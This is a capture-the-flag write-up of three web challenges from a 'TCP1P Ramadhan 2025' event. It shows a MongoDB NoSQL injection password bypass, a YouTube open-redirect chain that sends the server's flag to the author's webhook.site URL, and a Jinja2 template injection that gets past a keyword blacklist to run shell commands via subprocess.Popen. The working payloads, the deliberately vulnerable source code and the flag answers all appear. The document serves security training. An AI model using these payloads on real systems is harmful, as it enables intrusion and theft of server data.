# Web Exploitation

| Name                                    | Solves |
| --------------------------------------- | ------ |
| Ingfokan Lokasi Takjil :first\_place:   | 52     |
| Redirection                             | 28     |
| TobTobiTobTobTobiTobTobTobiTobTobTobali | 24     |

## Ingfokan Lokasi Takjil

### Description

> Author: **Max The Computer Fox**
>
> Max dan teman teman nya sedang berencana untuk mencari takjil sebanyak mungkin untuk entar dimakan bersama saat buka nanti, tetapi mereka harus cepat sebelum takjil takjil yang di jual habis. Merekapun membuat platform untuk membagikan lokasi lokasi takjil yang dapat mereka kunjungi secara privat, apakah anda dapat menemukan vulnerabilitas di platform mereka untuk mencari lokasi takjil favorit Max?
>
> Connect: <http://playground.tcp1p.team:11451>

### Initial Analysis

We are given a website:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F8Fhl6ohBoVxgz4k2qIVd%2Fimage.png?alt=media&#x26;token=1d6df196-9ab1-4017-b394-a69f7f8a5b07" alt=""><figcaption></figcaption></figure>

There's one post, that is password protected at <http://playground.tcp1p.team:11451/post/67d832eb9b9bf9605608a3ab>

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FaSSmDhwDTwInqjoivxxz%2Fimage.png?alt=media&#x26;token=b0388f12-818e-4d62-97db-4808b897a0b1" alt=""><figcaption></figcaption></figure>

### Source Code Analysis

We are given a source code file, the directory tree is like this:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/Ingfokan Lokasi Takjil]
└──╼ $tree .
.
├── app.py
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── requirements.txt
├── setup.py
├── static
│   ├── favicon.ico
│   ├── max.gif
│   ├── max_letsgocaritakjil.png
│   └── static.css
└── templates
    ├── error.html
    ├── index.html
    ├── lokasi.html
    └── password.html

3 directories, 14 files
```

We can conclude that this is a python web app. We take a look at `app.py`&#x20;

{% code title="app.py" %}

```python
from flask import Flask, render_template, redirect, url_for, request
from pymongo import MongoClient
from bson.objectid import ObjectId
import json
import os

client = MongoClient(os.environ.get('MONGODB_URI'))
# client = MongoClient("mongodb://localhost:27017")
db = client['database']
post_collection = db["posts"]
config = db["config"]
# check if the program has already been setup
is_installed = config.find_one({"installed": True})
if is_installed is None:
    # if not, run setup.py
    os.system("python setup.py")

app = Flask(__name__)

@app.route('/')
def main():
    # grab all posts and only show their id, title, and author
    posts = db["posts"].find({})
    posts_data = list()
    for post in posts:
        posts_data.append([str(post['_id']), post["title"], post["author"]])
    print(posts_data)
    return render_template("index.html", postdata=posts_data)


@app.route('/post/<id>', methods=['GET', 'POST'])
def post(id):

    post = db["posts"].find_one({"_id": ObjectId(id)})
    page = render_template(
        "lokasi.html",
        title=post["title"],
        author=post["author"],
        note=post["note"],
        location=post["location"]
    )

    if request.method == "POST":
        password = request.form['password']

        # ini tadi buat apa yah? -Max
        if password.startswith("{") and password.endswith("}"):
            password = json.loads(password)
        
        posts = db["posts"].find_one({
            "_id": ObjectId(id),
            "password": password
        })
        if posts:
            return page
        else:
            return render_template("password.html", message="Incorrect password")
    
    if post["password"]: return render_template("password.html")

    return page

# favicon
@app.route('/favicon.ico')
def favicon():
    return redirect(url_for('static', filename='favicon.ico'))

    
# make a default for unknown pages 404
@app.errorhandler(404)
def page_not_found(e):
    return render_template("error.html", errorcode=404, errormessage="Page not found")


# make a default for 500 internal server error
@app.errorhandler(500)
def internal_server_error(e):
    return render_template("error.html", errorcode=a500, errormessage="Internal server error")


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)
```

{% endcode %}

There's an interesting piece of code here:

```python
# ini tadi buat apa yah? -Max
if password.startswith("{") and password.endswith("}"):
    password = json.loads(password)
```

It basically checks if the password in a JSON format, it will serialize it into a JSON object. Then it will pass it into this code:

```python
posts = db["posts"].find_one({
            "_id": ObjectId(id),
            "password": password
        })
```

### Exploitation

Since the app used MongoDB as its database, this piece of code is vulnerable to NoSQL Injection.

{% embed url="<https://portswigger.net/web-security/nosql-injection>" %}
Read more here
{% endembed %}

Basically we can use a JSON object to inject the MongoDB query to this:

```python
posts = db["posts"].find_one({
            "_id": ObjectId(id),
            "password": {"$ne": "bukanrilpassword"}
        })
```

This will make the MongoDB queried `password ≠ "bukanrilpassword".` Since the password is obviously not "bukanrilpassword". This query injection passes the checks, returns true, and we get the flag.

Thus, the payload is:

```
{"$ne": "bukanrilpassword"}
```

We put this into the password field and we got the flag!

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FgxwcskhgRQhiafJCqotK%2Fimage.png?alt=media&#x26;token=c7b6358b-14c7-4c07-952d-5e1cbe279d04" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{T4kj1lnya\_K3mana\_Ab4ngkuh}**
{% endhint %}

## Redirection

### Description

> Author: **dimas**
>
> Can you do open redirection on youtube?
>
> Connect: <http://playground.tcp1p.team:16787>

### Initial Analysis

We are given a website:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FmEdehs71fRbo8yOLbL2h%2Fimage.png?alt=media&#x26;token=3b26b19d-b3d0-414a-b82f-86bbf6a0d243" alt=""><figcaption></figcaption></figure>

Nothing interesting.

### Source Code Analysis

We are given a single source code:

{% code title="app.py" %}

```python
from flask import Flask, request
import requests
import re
import os

app = Flask(__name__)

FLAG = os.environ.get("FLAG", "fake{flag}")

@app.get("/")
def home():
    url = request.args.get("url", False)
    if not url:
        return "Url not found"
    if not re.match(r"^https://youtube.com/.*$", url):
        return "url isn't youtube url"
    response = requests.get(url+"?"+FLAG)
    return response.text


if __name__ == "__main__":
    app.run("0.0.0.0", 8080, debug=False)
```

{% endcode %}

This code basically will redirect, **only** if the URL supplied, passes this regex:

```
r"^https://youtube.com/.*$"
```

And to get the flag, we need to control where it redirects to get the FLAG parameter. Thus we need an Open Redirect Vulnerability on YouTube.

{% embed url="<https://portswigger.net/kb/issues/00500100_open-redirection-reflected>" %}

### Exploitation

After looking for a while, there's apparently an Open Redirect vulnerability on YouTube. Based on this writeup:

{% embed url="<https://blog.huli.tw/2023/09/02/en/corctf-sekaictf-2023-writeup/#youdirect-5-solves>" %}

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FO4iu7mm98MbK0jz1Vlnc%2Fimage.png?alt=media&#x26;token=71d28282-4c22-4a7e-a533-371a692990c9" alt=""><figcaption></figcaption></figure>

So i used the first payload, adjusted it to my webhook, and it apparently worked😂.

```url
http://playground.tcp1p.team:16787/?url=https://youtube.com/logout?continue=http%3A%2F%2Fgoogleads%2Eg%2Edoubleclick%2Enet%2Fpcs%2Fclick%3Fadurl%3Dhttps%3A%2F%2Fwebhook%2Esite%2F6ba4fbc6%2D1aed%2D4251%2D8cb2%2D2639d53ffa2b%3FFLAG
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F6Fe6QdBWfeBLzmQnAwJP%2Fimage.png?alt=media&#x26;token=964e6894-a7fa-4f5f-85a3-afcefc8d1d02" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{open\_redirection\_on\_youtube\_is\_really\_handy}**
{% endhint %}

## TobTobiTobTobTobiTobTobTobiTobTobTobali

### Description

> Author: **DJumanto**
>
> Cat Tobitob decided to make a gift card page, so you can say "Happy ramadhan", to your relatives :D
>
> Connect: <http://playground.tcp1p.team:8888>

### Initial Analysis

We are given a website:

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FkGqHBsE1AkH6ZaoIXpQl%2Fimage.png?alt=media&#x26;token=ed970b78-65a8-415e-bcc9-e78cb1bcebf8" alt=""><figcaption></figcaption></figure>

And if we input something, our input gets reflected.

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FJlQA6lIEFxQWGnYhDoQn%2Fimage.png?alt=media&#x26;token=61fb55c1-e201-4ab0-8a67-8479f9447fd3" alt=""><figcaption></figcaption></figure>

### Source Code Analysis

We are given a source code, the directory tree looks like this:

```sh
┌─[mirai@parrot]─[~/ctf/TCP1P Ramadhan 2025/TobTobiTobTobTobiTobTobTobiTobTobTobali]
└──╼ $tree .
.
├── app.py
├── docker-compose.yml
├── Dockerfile
├── flag.txt
├── requirements.txt
├── static
│   └── cat.jpg
└── templates
    └── index.htmlap

3 directories, 8 files
```

Looking at the `app.py` file:

{% code title="app.py" %}

```python
from flask import Flask, request, render_template_string, send_from_directory

app = Flask(__name__, static_folder='static')

blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
            'write', 'eval', 'exec', 'system', 'popen', 'open',
            'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
            'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
            'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
            'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
            'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
            'popen', 'builtins', 'global'] 
@app.route('/static/<path:filename>')
def static_file(filename):
    return send_from_directory(app.static_folder, filename)

@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/card', methods=['POST'])
def card():
    name = request.form.get('name', 'tobi')
    lname = name.lower()
    if any(word in lname for word in blacklists):
        return "TobiTob don't like that"
    style='''
<style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            padding: 0;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            background-image: url(https://static.vecteezy.com/system/resources/previews/007/197/608/non_2x/islamic-eid-mubarak-background-with-gold-lanterns-free-vector.jpg);
            background-size: cover;
            background-position: center;
        }
        .container {
            background-color: rgba(255, 255, 255, 0.8);
            padding: 20px;
            border-radius: 10px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            text-align: center;
        }
        img {
            width: 200px;
            height: auto;
            border-radius: 10px;
            margin-top: 10px;
        }
    </style>
'''
    template = '''
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>TobTobiTobTobTobiTobTobTobiTobTobTobali</title>
    {}
</head>
<body>
    <div class="container">
        <h1>Hello {}</h1>
        <img src="/static/cat.jpg" alt="cat">
        <p>Hope you have a good Ramadhan</p>
    </div>
</body>
</html>
'''.format(style,name)
    return render_template_string(template)
if __name__ == '__main__':
    app.run(host="0.0.0.0", port=5000, debug=False)
```

{% endcode %}

We can see there's a vulnerability at this line:

```python
def index():
    return render_template_string(open('templates/index.html').read())
```

The `render_template_string`function is vulnerable to SSTI (Server Side Template Injection). And since we can control what is passed to the template here:

```html
<div class="container">
    <h1>Hello {}</h1> <-- Controlled by user input
    <img src="/static/cat.jpg" alt="cat">
    <p>Hope you have a good Ramadhan</p>
</div>
```

We can just use the template syntax to get RCE.

{% embed url="<https://portswigger.net/web-security/server-side-template-injection>" %}

To confirm our theory, we can inject simple payload like `{{ 7 * 7 }}` and see if it returns 49.

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2F1yAwMnhFUOzenteccGVP%2Fimage.png?alt=media&#x26;token=f263266a-bf49-458b-b103-73573499060c" alt=""><figcaption></figcaption></figure>

### Exploitation

There are several functions that we cannot use, defined by this array:

```python
blacklists =['os', 'sys', 'import','subprocess', 'shutil', 'tempfile', 'pickle', 'marshal',
            'write', 'eval', 'exec', 'system', 'popen', 'open',
            'call', 'check_output', 'check_call', 'startfile', 'remove', 'unlink',
            'rmdir', 'remove', 'rename', 'replace', 'chdir', 'chmod', 'chown',
            'chroot', 'link', 'lchown', 'listdir', 'lstat', 'mkdir', 'makedirs',
            'mkfifo', 'mknod', 'open', 'openpty', 'remove', 'removedirs',
            'rename', 'renames', 'rmdir', 'stat', 'symlink', 'unlink', 'walk', 'write',
            'popen', 'builtins', 'global']
```

We can use one of the payloads from HackTricks and adjust them:

{% embed url="<https://book.hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.html?highlight=ssti#jinja2-ssti>" %}

We can see the provided `<class 'object'>` by using this payload:

```python
{{ ''.__class__.__mro__[1].__subclasses__() }}
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FVUaP12KQVvHYGRrHsBbt%2Fimage.png?alt=media&#x26;token=96494fc5-1a29-4ca0-951d-ffe3d0018211" alt=""><figcaption></figcaption></figure>

Since our flag name is randomized, we need a class where we can do code execution to execute `ls`and `cat` . There is `<class 'subprocess.Popen'>` class to do just that at index 370.

In the end i used this payload:

```python
{{ (''.__class__.__mro__[1].__subclasses__()[370])('ls /', shell=True, stdout=-1).communicate() }}
```

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2Fa5QTOGbrAuY6Adsvnhrm%2Fimage.png?alt=media&#x26;token=dd73305a-1e01-4b0a-a483-f1f910058e5c" alt=""><figcaption></figcaption></figure>

And since we know the flag file name, we can read it with this payload:

{% code overflow="wrap" %}

```python
{{ (''.__class__.__mro__[1].__subclasses__()[370])('cat /bb53fee07051cb63.txt', shell=True, stdout=-1).communicate() }}
```

{% endcode %}

<figure><img src="https://887347025-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkjvWV0riaI4IlYjeGWEH%2Fuploads%2FenUTSX8RdFdWrOHgamsb%2Fimage.png?alt=media&#x26;token=b545becf-3f11-4f34-84fa-cfacbba94215" alt=""><figcaption></figcaption></figure>

{% hint style="success" %}
Flag: **RAMADAN{"Setor\_Hafalan\_Dulu\_Gak\_Sih\_TobTobiTobTobTobiTobTobTobiTobTobTobaliXD"}**
{% endhint %}
